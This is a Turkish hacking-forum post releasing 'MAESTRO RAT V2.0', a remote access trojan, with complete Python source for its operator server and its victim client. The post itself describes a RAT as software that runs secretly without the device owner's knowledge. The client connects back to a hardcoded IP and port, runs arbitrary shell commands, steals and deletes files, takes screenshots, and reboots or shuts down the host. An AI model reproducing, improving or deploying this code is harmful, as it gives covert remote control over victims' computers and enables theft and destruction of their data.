![q39y8g3.png](https://i.hizliresim.com/q39y8g3.png)
İyi Forumlar Türk Hack Team.
Bu konuda MAESTRO RAT'ın yeni ve güçlü sürümü olan MAESTRO RAT V2.0' İle Karşınızdayım.
MAESTRO RAT V2.0'ın sunduğu yenilikleri ve özellikleri inceleyeceğiz.
Maestro Rat'ın İlk Sürümüne Aşağıya Tıklayarak Ulaşabilirsiniz.
MAESTRO RAT V1.0
![sjh1yjm.png](https://i.hizliresim.com/sjh1yjm.png)
RAT Nedir?
Bir cihazda (bilgisayar, telefon, tablet vb.) arka planda, cihaz sahibinin bilgisi dışında -gizlice- çalışan ve cihazın içindeki bilgilerin başka kişilerce 'yasa dışı bir şekilde' ele geçirilmesine veya cihazın yasa dışı işlemlerde kullanılmasına yardım eden trojan'ların genel ismidir.
![sjh1yjm.png](https://i.hizliresim.com/sjh1yjm.png)
MAESTRO RAT V2.0 YENİ EKLENEN KOMUTLAR
screenshot > istemciden Ekran Görüntüsü Alır.
download > İstemciden Dosya İndirir.
upload > İstemciye Dosya Yükler.
browser > İstemcide belirtilen Url'yi Açar.
restart > İstemciyi Yeniden Başlatır.
poweroff > İstemciyi Kapatır.
server.py
Python:
import socket
import argparse
import threading
import os
commands = [
("exit", "İstemci bağlantısını sonlandırır."),
("execute", "Belirli bir terminal komutunu istemcide çalıştırır."),
("openfile [dosya_adı]", "Belirtilen dosyanın içeriğini sunucudan istemciye gönderir."),
("deletefile [dosya_adı]", "Belirtilen dosyayı siler."),
("deletedirectory [dizin_adı]", "Belirtilen dizini siler."),
("ls / dir", "İstemcideki mevcut dizinin içeriğini listeler."),
("cd [hedef_klasör]", "İstemcideki çalışma dizinini değiştirir."),
("createdirectory [klasör_adı]", "Yeni bir klasör oluşturur."),
("createfile [dosya_adı]", "Yeni bir dosya oluşturur."),
("editfile [metin] >> [dosya_adı]", "Belirtilen dosyanın sonuna metin ekler."),
("whoami", "İstemcide oturum açmış kullanıcıyı döndürür."),
("ifconfig", "İstemcinin ağ bilgilerini döndürür."),
("cpu", "İstemcinin CPU bilgilerini döndürür."),
("memory", "İstemcinin bellek kullanım bilgilerini döndürür."),
("osinfo", "İstemcinin işletim sistemi bilgilerini döndürür."),
("browser [url]", "Belirtilen URL'yi istemcide açar."),
("upload", "İstemciden sunucuya dosya yükler."),
("download", "İstemciden istemciye dosya indirir."),
("screenshot", "İstemcinin ekran görüntüsünü alır."),
("restart", "İstemciyi yeniden başlatır."),
("poweroff", "İstemciyi kapatır."),
("cd [dizin]", "Dizini değiştirir."),
("clear", "Terminali temizler.")
]
print("{:<40} {}".format("Komut", "Açıklama"))
print("="*60)
for command, description in commands:
print("{:<40} {}".format(command, description))
def handle_client(conn, addr):
print(f"Bağlantı alındı: {addr}")
try:
while True:
try:
komut = input("Komutu giriniz ('exit' yazarak çıkabilirsiniz): ")
conn.send(komut.encode())
if komut == 'exit':
break
elif not komut:
continue
elif komut == 'commandlist' :
print("{:<40} {}".format("Komut", "Açıklama"))
print("="*60)
elif komut == 'clear':
x = os.name
if x == 'posix':
os.system('clear')
else:
os.system('cls')
elif komut == 'execute':
print("Lütfen 'execute' komutu için bir komut girin:")
islem = input()
conn.send(islem.encode())
received_data = conn.recv(8192)
print(received_data.decode(errors='ignore'))
elif komut == 'upload':
islem = input("Upload edilecek dosya ismini giriniz : ")
dosya_adi = islem
conn.send(dosya_adi.encode())
try:
with open(dosya_adi, 'rb') as file:
while (data := file.read(8192)):
conn.send(data)
conn.send('UPLOAD_COMPLETE'.encode())
print(f'{dosya_adi} başarılı bir şekilde upload edildi.')
except FileNotFoundError:
print('HATA: Dosya bulunamadı.')
elif komut == 'download':
islem = input("İndirilecek Dosya İsmini Giriniz : ")
conn.send(islem.encode())
with open(islem, 'wb') as file:
while True:
data = conn.recv(8192)
if data.endswith('DOWNLOAD_COMPLETE'.encode()):
data = data[:-len('DOWNLOAD_COMPLETE'.encode())]
file.write(data)
break
file.write(data)
print(f"{islem} dosyası başarılı bir şekilde bulunduğunuz dizine indirildi.[√]")
elif komut == 'screenshot':
with open('screenshothacked.png', 'wb') as file:
while True:
file_data = conn.recv(8192)
if file_data.endswith(b"screenshot_complete"):
file_data = file_data[:-len("screenshot_complete")]
file.write(file_data)
break
file.write(file_data)
print("Ekran görüntüsü bulunduğunuz dizine kayıt edildi.")
elif komut.startswith('browser'):
link = komut.split(" ", 1)[1]
conn.send(link.encode())
sonuc = conn.recv(8192).decode()
print(sonuc)
else:
received_data = conn.recv(8192)
print(received_data.decode(errors='ignore'))
except Exception as e:
print(f"Hata: {str(e)}")
break
except Exception as e:
print(f"Bağlantı hatası: {str(e)}")
finally:
conn.close()
def main():
parser = argparse.ArgumentParser(description='MAESTRO RAT v1.0 - Arka Kapı')
parser.add_argument('-lhost', dest='ip', help='Hedef IP adresi', required=True)
parser.add_argument('-lport', dest='port', help='Hedef port numarası', required=True)
args = parser.parse_args()
ip = args.ip
port = int(args.port)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((ip, port))
s.listen(5)
print(f"{ip}:{port} dinleniyor...")
while True:
try:
conn, addr = s.accept()
client_thread = threading.Thread(target=handle_client, args=(conn, addr))
client_thread.start()
except Exception as e:
print(f"Bağlantı kabul hatası: {str(e)}")
if __name__ == "__main__":
main()
client.py
Python:
import socket
import subprocess
import os
import psutil
from psutil._common import bytes2human
import platform
import webbrowser
import pyautogui
def get_os_info():
return platform.platform()
def get_cpu_info():
cpu_info = ""
for num, percent in enumerate(psutil.cpu_percent(percpu=True)):
cpu_info += f"CPU{num}: {percent}%\n"
return cpu_info
def get_memory_info():
try:
result = subprocess.run(['free'], capture_output=True, shell=True)
if result.returncode == 0:
return result.stdout.strip()
else:
return f"Error: {result.stderr.strip()}"
except Exception as e:
return f"Error: {str(e)}"
def get_network_info():
network_info = ""
af_map = {
socket.AF_INET: 'IPv4',
socket.AF_INET6: 'IPv6',
}
interfaces = psutil.net_if_addrs()
for interface, addresses in interfaces.items():
network_info += f"Ağ Arayüzü: {interface}\n"
for addr in addresses:
network_info += f" Adres Türü: {af_map.get(addr.family, addr.family)}\n"
network_info += f" Adres: {addr.address}\n"
if addr.broadcast:
network_info += f" Yayın Adresi: {addr.broadcast}\n"
if addr.netmask:
network_info += f" Ağ Maskesi: {addr.netmask}\n"
return network_info
def execute_command(command):
try:
result = subprocess.run(command, shell=True, capture_output=True, text=True)
if result.returncode == 0:
return result.stdout.strip()
else:
return f"Error: {result.stderr.strip()}"
except Exception as e:
return f"Error: {str(e)}"
def main():
ip = '192.168.1.36'
port = 4545
while True:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((ip, port))
print("Sunucuya bağlanıldı.")
while True:
command = s.recv(8192).decode()
if not command:
continue
if command == 'exit':
break
elif command == 'execute':
komut = s.recv(8192).decode()
output = execute_command(komut)
s.send(output.encode())
elif command.startswith('openfile'):
dosya_adi = command.split(" ", 1)[1]
try:
with open(dosya_adi, "r") as dosya:
icerik = dosya.read()
s.sendall(icerik.encode())
except FileNotFoundError:
s.send("Dosya bulunamadı".encode())
except Exception as e:
s.send(f"Hata: {str(e)}".encode())
elif command.startswith('deletefile'):
dosya_adi = command.split(" ", 1)[1]
try:
os.remove(dosya_adi)
s.send(f"{dosya_adi} başarıyla silindi.".encode())
except FileNotFoundError:
s.send(f"{dosya_adi} bulunamadı".encode())
except Exception as e:
s.send(f"Hata: {str(e)}".encode())
elif command.startswith('deletedirectory'):
hedef_dizin = command.split(" ", 1)[1]
try:
os.rmdir(hedef_dizin)
s.send(f"{hedef_dizin} başarıyla silindi.".encode())
except FileNotFoundError:
s.send(f"{hedef_dizin} bulunamadı".encode())
except Exception as e:
s.send(f"Hata: {str(e)}".encode())
elif command.startswith('ls') or command.startswith('dir'):
dosyalar = os.listdir()
if dosyalar:
s.send("\n".join(dosyalar).encode())
else:
s.send("Dizin boş".encode())
elif command.startswith('cd'):
hedefklasor = command.split(" ", 1)[1]
try:
os.chdir(hedefklasor)
s.send(f"Dizin değiştirildi: {os.getcwd()}".encode())
except FileNotFoundError:
s.send("Hata: Dizin bulunamadı".encode())
except Exception as e:
s.send(f"Hata: {str(e)}".encode())
elif command.startswith('createdirectory'):
hedefklasor = command.split(" ", 1)[1]
try:
os.mkdir(hedefklasor)
s.send(f"{hedefklasor} başarıyla oluşturuldu.".encode())
except FileExistsError:
s.send(f"{hedefklasor} zaten var.".encode())
except Exception as e:
s.send(f"Hata: {str(e)}".encode())
elif command.startswith("createfile"):
dosyaisim = command.split(" ", 1)[1]
with open(dosyaisim, "w") as dosya:
pass
s.send("Dosya oluşturuldu.".encode())
elif command.startswith("editfile"):
komut_parcalari = command.split(" ")
dosya_isim_index = komut_parcalari.index(">>") + 1
dosya_isim = komut_parcalari[dosya_isim_index]
metin = " ".join(komut_parcalari[1:dosya_isim_index-1])
with open(dosyaisim, "a") as dosya:
dosya.write(metin)
s.send("Metin dosya sonuna eklendi.".encode())
elif command == "whoami":
cikti = subprocess.run
cikti = subprocess.run(['whoami'], capture_output=True, text=True)
s.send(cikti.stdout.encode())
elif command == "ifconfig":
x = get_network_info()
s.send(x.encode())
elif command == "cpu":
x = get_cpu_info()
s.send(x.encode())
elif command == "memory":
x = get_memory_info()
s.send(x)
elif command == "osinfo":
os_info = get_os_info()
s.send(os_info.encode())
elif command == 'upload':
dosya_adi = s.recv(8192).decode()
with open(dosya_adi, 'wb') as file:
while True:
data = s.recv(8192)
if data.endswith('UPLOAD_COMPLETE'.encode()):
file.write(data[:-len('UPLOAD_COMPLETE'.encode())])
break
file.write(data)
elif command == 'download':
dosya_adi = s.recv(8192).decode()
try:
with open(dosya_adi, 'rb') as file:
while (data := file.read(819229383)):
if not data:
s.send('Dosya boş'.encode())
continue
else:
s.send(data)
s.send('DOWNLOAD_COMPLETE'.encode())
except FileNotFoundError:
s.send('HATA: Dosya bulunamadı.'.encode())
elif command == 'screenshot':
screenshot = pyautogui.screenshot()
screenshot.save("hacked.png")
with open("hacked.png", 'rb') as file:
while True:
file_data = file.read(8192)
if not file_data:
break
s.send(file_data)
os.remove("hacked.png")
s.send("screenshot_complete".encode())
elif command.startswith('browser'):
link = command.split(" ", 1)[1]
if not link.startswith(("http://", "https://")):
link = "http://" + link
try:
webbrowser.open(link)
s.send('Url Açıldı.'.encode())
except Exception as e:
s.send(f'Url açılırken hata oluştu: {str(e)}'.encode())
elif command == 'restart':
x = os.name
if x == 'posix':
result = subprocess.run(['sudo', 'reboot'], shell=True, capture_output=True, text=True)
elif x == 'nt':
result = subprocess.run(['shutdown', '/r', '/t', '0'], shell=True, capture_output=True, text=True)
if result.returncode == 0:
s.send(result.stdout.strip().encode())
else:
s.send(result.stderr.strip().encode())
elif command == 'poweroff':
x = os.name
if x == 'posix':
result = subprocess.run(['shutdown', '-h', 'now'], shell=True, capture_output=True, text=True)
elif x == 'nt':
result = subprocess.run(['shutdown', '/s'], shell=True, capture_output=True, text=True)
if result.returncode == 0:
s.send(result.stdout.strip().encode())
else:
s.send(result.stderr.strip().encode())
else:
s.send("Geçersiz komut.".encode())
if __name__ == "__main__":
main()
MAESTRO RAT V2.0' DAN GÖRÜNTÜLER
![fu1iwpm.jpg](https://i.hizliresim.com/fu1iwpm.jpg)
DOWNLOAD & UPLOAD & SCREENSHOT
![tt26iga.jpg](https://i.hizliresim.com/tt26iga.jpg)
Github'dan İndirmek veya Görüntülemek İsterseniz Aşağıdan Ulaşabilirsiniz.
GİTHUB
Hata, Bug ve Önerilerinizi Aşağıda Açıkca Belirtebilirsiniz. Gelecek Sürüm Daha İyi Olucak. Görüşmek Üzere.
![🙂 🙂](https://cdn.jsdelivr.net/joypixels/assets/8.0/png/unicode/64/1f642.png)
![👋 👋](https://cdn.jsdelivr.net/joypixels/assets/8.0/png/unicode/64/1f44b.png)
![logo.png](https://www.turkhackteam.org/styles/v1/tht/logo.png)
Son düzenleme: